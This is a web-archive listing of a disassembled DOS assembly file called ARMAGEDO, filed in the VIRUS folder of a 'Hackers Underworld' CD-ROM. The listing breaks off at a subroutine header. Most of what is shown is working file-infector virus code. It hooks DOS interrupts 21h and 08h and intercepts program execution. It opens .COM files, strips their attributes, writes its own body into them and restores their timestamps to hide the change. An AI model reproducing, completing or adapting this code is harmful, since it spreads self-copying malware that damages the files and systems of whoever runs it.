home *** CD-ROM | disk | FTP | other *** search
/ Hackers Underworld 2: Forbidden Knowledge / Hackers Underworld 2: Forbidden Knowledge.iso / VIRUS / ARMAGEDO.ASM < prev    next >
Assembly Source File  |  1994-07-17  |  13KB  |  597 lines

  1.   
  2. PAGE  59,132
  3.   
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    ARMAGEDO                     ██
  7. ;██                                         ██
  8. ;██      Created:   21-Feb-91                             ██
  9. ;██      Version:                                 ██
  10. ;██      Passes:    5           Analysis Options on: H                 ██
  11. ;██                                         ██
  12. ;██                                         ██
  13. ;██████████████████████████████████████████████████████████████████████████
  14.   
  15. data_1e        equ    2Ch            ; (7415:002C=0)
  16. data_2e        equ    81h            ; (7415:0081=0)
  17.   
  18. seg_a        segment    byte public
  19.         assume    cs:seg_a, ds:seg_a
  20.   
  21.   
  22.         org    100h
  23.   
  24. armagedo    proc    far
  25.   
  26. start:
  27.         jmp    loc_36            ; (0436)
  28.   
  29. armagedo    endp
  30.   
  31. ;██████████████████████████████████████████████████████████████████████████
  32. ;
  33. ;            External Entry Point
  34. ;
  35. ;██████████████████████████████████████████████████████████████████████████
  36.   
  37. int_21h_entry    proc    far
  38.         pushf                ; Push flags
  39.         cmp    ah,0E0h
  40.         jne    loc_2            ; Jump if not equal
  41.         mov    ax,0DADAh
  42.         popf                ; Pop flags
  43.         iret                ; Interrupt return
  44. int_21h_entry    endp
  45.   
  46. loc_2:
  47.         cmp    ah,0E1h
  48.         jne    loc_3            ; Jump if not equal
  49.         mov    ax,cs
  50.         popf                ; Pop flags
  51.         iret                ; Interrupt return
  52. loc_3:
  53.         cmp    ax,4B00h
  54.         je    loc_5            ; Jump if equal
  55. loc_4:
  56.         popf                ; Pop flags
  57.         jmp    dword ptr cs:data_4    ; (7415:0122=138Dh)
  58. data_4        dd    7415138Dh
  59. data_6        dd    7415022Bh
  60. data_8        db    0
  61. data_9        db    8
  62. data_10        db    10h
  63. data_11        db    9
  64. data_12        db    34h
  65. data_13        dw    0
  66.         db    0
  67. data_14        db    0
  68. data_15        db    0
  69. data_16        db    0
  70.         db    43h, 4Fh, 4Dh
  71. data_17        dw    5
  72. data_18        dw    2
  73.         db    0, 0
  74. data_19        dw    1301h
  75. data_20        dw    1306h
  76. data_21        dw    0FFFEh
  77. data_22        dw    7415h
  78. data_23        dw    3D5Bh
  79. data_24        dw    20h
  80. data_25        dw    0EC2h
  81. data_26        dw    6E68h
  82.         db    0, 0, 81h, 0
  83. data_27        dw    12ACh
  84.         db    5Ch, 0
  85. data_28        dw    12ACh
  86.         db    6Ch, 0
  87. data_29        dw    12ACh
  88. loc_5:
  89.         push    ds
  90.         push    bx
  91.         push    si
  92.         push    cx
  93.         push    ax
  94.         push    dx
  95.         push    bp
  96.         push    es
  97.         push    di
  98.         cld                ; Clear direction
  99.         push    dx
  100.         push    ds
  101.         xor    cx,cx            ; Zero register
  102.         mov    si,dx
  103. loc_6:
  104.         mov    al,[si]
  105.         cmp    al,0
  106.         je    loc_7            ; Jump if equal
  107.         inc    cx
  108.         inc    si
  109.         jmp    short loc_6        ; (016C)
  110. loc_7:
  111.         add    dx,cx
  112.         sub    dx,3
  113.         mov    si,135h
  114.         mov    di,dx
  115.         cmp    byte ptr [di-3],4Eh    ; 'N'
  116.         jne    loc_8            ; Jump if not equal
  117.         cmp    byte ptr [di-2],44h    ; 'D'
  118.         je    loc_11            ; Jump if equal
  119. loc_8:
  120.         mov    cx,3
  121.   
  122. locloop_9:
  123.         mov    al,cs:[si]
  124.         cmp    al,[di]
  125.         jne    loc_11            ; Jump if not equal
  126.         inc    si
  127.         inc    di
  128.         loop    locloop_9        ; Loop if cx > 0
  129.   
  130.         pop    ds
  131.         pop    dx
  132.         push    dx
  133.         push    ds
  134.         mov    si,dx
  135.         mov    dl,0
  136.         cmp    byte ptr [si+1],3Ah    ; ':'
  137.         jne    loc_10            ; Jump if not equal
  138.         mov    dl,[si]
  139.         and    dl,0Fh
  140. loc_10:
  141.         mov    ah,36h            ; '6'
  142.         int    21h            ; DOS Services  ah=function 36h
  143.                         ;  get free space, drive dl,1=a:
  144.         cmp    ax,0FFFFh
  145.         je    loc_11            ; Jump if equal
  146.         jmp    short loc_13        ; (01C5)
  147.         db    90h
  148. loc_11:
  149.         jmp    loc_19            ; (02F8)
  150.         jmp    loc_20            ; (02FD)
  151. loc_12:
  152.         jmp    loc_17            ; (02C4)
  153.         jmp    loc_18            ; (02CF)
  154. loc_13:
  155.         cmp    bx,3
  156.         jb    loc_11            ; Jump if below
  157.         pop    ds
  158.         pop    dx
  159.         push    ds
  160.         push    dx
  161.         mov    cs:data_22,ds        ; (7415:0144=7415h)
  162.         mov    cs:data_23,dx        ; (7415:0146=3D5Bh)
  163.         mov    ax,4300h
  164.         int    21h            ; DOS Services  ah=function 43h
  165.                         ;  get/set file attrb, nam@ds:dx
  166.         mov    cs:data_24,cx        ; (7415:0148=20h)
  167.         mov    ax,4301h
  168.         xor    cx,cx            ; Zero register
  169.         int    21h            ; DOS Services  ah=function 43h
  170.                         ;  get/set file attrb, nam@ds:dx
  171.         mov    bx,0FFFFh
  172.         mov    ah,48h            ; 'H'
  173.         int    21h            ; DOS Services  ah=function 48h
  174.                         ;  allocate memory, bx=bytes/16
  175.         mov    ah,48h            ; 'H'
  176.         int    21h            ; DOS Services  ah=function 48h
  177.                         ;  allocate memory, bx=bytes/16
  178.         mov    cs:data_19,ax        ; (7415:013E=1301h)
  179.         mov    ax,cs
  180.         mov    ds,ax
  181.         mov    dx,541h
  182.         mov    ah,1Ah
  183.         int    21h            ; DOS Services  ah=function 1Ah
  184.                         ;  set DTA to ds:dx
  185.         pop    dx
  186.         pop    ds
  187.         mov    ax,3D02h
  188.         clc                ; Clear carry flag
  189.         int    21h            ; DOS Services  ah=function 3Dh
  190.                         ;  open file, al=mode,name@ds:dx
  191.         jc    loc_12            ; Jump if carry Set
  192.         mov    bx,ax
  193.         mov    cs:data_17,ax        ; (7415:0138=5)
  194.         mov    cx,0FFFFh
  195.         mov    ax,cs:data_19        ; (7415:013E=1301h)
  196.         mov    ds,ax
  197.         mov    dx,437h
  198.         mov    ah,3Fh            ; '?'
  199.         clc                ; Clear carry flag
  200.         int    21h            ; DOS Services  ah=function 3Fh
  201.                         ;  read file, cx=bytes, to ds:dx
  202.         jc    loc_12            ; Jump if carry Set
  203.         mov    cs:data_18,ax        ; (7415:013A=2)
  204.         cmp    ax,0E000h
  205.         ja    loc_12            ; Jump if above
  206.         cmp    ax,437h
  207.         jb    loc_15            ; Jump if below
  208.         mov    si,438h
  209.         add    si,si
  210.         sub    si,15h
  211.         mov    cx,13h
  212.         mov    di,524h
  213.   
  214. locloop_14:
  215.         mov    al,[si]
  216.         mov    ah,cs:[di]
  217.         cmp    ah,al
  218.         jne    loc_15            ; Jump if not equal
  219.         inc    si
  220.         inc    di
  221.         loop    locloop_14        ; Loop if cx > 0
  222.   
  223.         jmp    short loc_17        ; (02C4)
  224.         db    90h
  225. loc_15:
  226.         mov    ax,4200h
  227.         mov    bx,cs:data_17        ; (7415:0138=5)
  228.         xor    cx,cx            ; Zero register
  229.         mov    dx,cx
  230.         int    21h            ; DOS Services  ah=function 42h
  231.                         ;  move file ptr, cx,dx=offset
  232.         jc    loc_17            ; Jump if carry Set
  233.         mov    si,100h
  234.         mov    cx,437h
  235.         xor    di,di            ; Zero register
  236.         mov    ax,cs:data_19        ; (7415:013E=1301h)
  237.         mov    ds,ax
  238.   
  239. locloop_16:
  240.         mov    al,cs:[si]
  241.         mov    [di],al
  242.         inc    si
  243.         inc    di
  244.         loop    locloop_16        ; Loop if cx > 0
  245.   
  246.         mov    ax,5700h
  247.         mov    bx,cs:data_17        ; (7415:0138=5)
  248.         int    21h            ; DOS Services  ah=function 57h
  249.                         ;  get/set file date & time
  250.         mov    cs:data_26,cx        ; (7415:014C=6E68h)
  251.         mov    cs:data_25,dx        ; (7415:014A=0EC2h)
  252.         mov    ax,cs:data_19        ; (7415:013E=1301h)
  253.         mov    ds,ax
  254.         mov    si,437h
  255.         mov    al,[si]
  256.         add    al,0Bh
  257.         mov    [si],al
  258.         xor    dx,dx            ; Zero register
  259.         mov    cx,cs:data_18        ; (7415:013A=2)
  260.         add    cx,437h
  261.         mov    bx,cs:data_17        ; (7415:0138=5)
  262.         mov    ah,40h            ; '@'
  263.         int    21h            ; DOS Services  ah=function 40h
  264.                         ;  write file cx=bytes, to ds:dx
  265.         mov    cx,cs:data_26        ; (7415:014C=6E68h)
  266.         mov    dx,cs:data_25        ; (7415:014A=0EC2h)
  267.         mov    bx,cs:data_17        ; (7415:0138=5)
  268.         mov    ax,5701h
  269.         int    21h            ; DOS Services  ah=function 57h
  270.                         ;  get/set file date & time
  271. loc_17:
  272.         mov    bx,cs:data_17        ; (7415:0138=5)
  273.         mov    ah,3Eh            ; '>'
  274.         int    21h            ; DOS Services  ah=function 3Eh
  275.                         ;  close file, bx=file handle
  276.         push    cs
  277.         pop    ds
  278. loc_18:
  279.         mov    dx,80h
  280.         mov    ah,1Ah
  281.         int    21h            ; DOS Services  ah=function 1Ah
  282.                         ;  set DTA to ds:dx
  283.         mov    ax,cs:data_19        ; (7415:013E=1301h)
  284.         mov    es,ax
  285.         mov    ah,49h            ; 'I'
  286.         int    21h            ; DOS Services  ah=function 49h
  287.                         ;  release memory block, es=seg
  288.         mov    ax,cs:data_22        ; (7415:0144=7415h)
  289.         mov    ds,ax
  290.         mov    dx,cs:data_23        ; (7415:0146=3D5Bh)
  291.         mov    ax,4301h
  292.         mov    cx,cs:data_24        ; (7415:0148=20h)
  293.         int    21h            ; DOS Services  ah=function 43h
  294.                         ;  get/set file attrb, nam@ds:dx
  295.         jmp    short loc_20        ; (02FD)
  296.         db    90h
  297. loc_19:
  298.         pop    ds
  299.         pop    dx
  300.         jmp    short loc_20        ; (02FD)
  301.         db    90h
  302. loc_20:
  303.         pop    di
  304.         pop    es
  305.         pop    bp
  306.         pop    dx
  307.         pop    ax
  308.         pop    cx
  309.         pop    si
  310.         pop    bx
  311.         pop    ds
  312.         jmp    loc_4            ; (011C)
  313.   
  314. ;██████████████████████████████████████████████████████████████████████████
  315. ;
  316. ;            External Entry Point
  317. ;
  318. ;██████████████████████████████████████████████████████████████████████████
  319.   
  320. int_08h_entry    proc    far
  321.         push    bp
  322.         push    ds
  323.         push    es
  324.         push    ax
  325.         push    bx
  326.         push    cx
  327.         push    dx
  328.         push    si
  329.         push    di
  330.         pushf                ; Push flags
  331.         call    cs:data_6        ; (7415:0126=22Bh)
  332.         call    sub_1            ; (0365)
  333.         push    cs
  334.         pop    ds
  335.         mov    ah,5
  336.         mov    ch,data_10        ; (7415:012C=10h)
  337.         cmp    ah,ch
  338.         ja    loc_22            ; Jump if above
  339.         mov    ah,6
  340.         cmp    ah,ch
  341.         jb    loc_22            ; Jump if below
  342.         mov    ah,data_8        ; (7415:012A=0)
  343.         cmp    ah,1
  344.         je    loc_21            ; Jump if equal
  345.         mov    ah,1
  346.         mov    data_8,ah        ; (7415:012A=0)
  347.         jmp    short loc_22        ; (035B)
  348.         db    90h
  349. loc_21:
  350.         call    sub_2            ; (03CB)
  351.         inc    data_13            ; (7415:012F=0)
  352.         mov    ax,data_13        ; (7415:012F=0)
  353.         cmp    ax,21Ch
  354.         jne    loc_22            ; Jump if not equal
  355.         xor    ax,ax            ; Zero register
  356.         mov    data_8,ah        ; (7415:012A=0)
  357.         mov    data_13,ax        ; (7415:012F=0)
  358.         mov    data_15,ah        ; (7415:0133=0)
  359. loc_22:
  360.         pop    di
  361.         pop    si
  362.         pop    dx
  363.         pop    cx
  364.         pop    bx
  365.         pop    ax
  366.         pop    es
  367.         pop    ds
  368.         pop    bp
  369.         iret                ; Interrupt return
  370. int_08h_entry    endp
  371.   
  372.   
  373. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  374. ;                   SUBROUTINE
  375. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄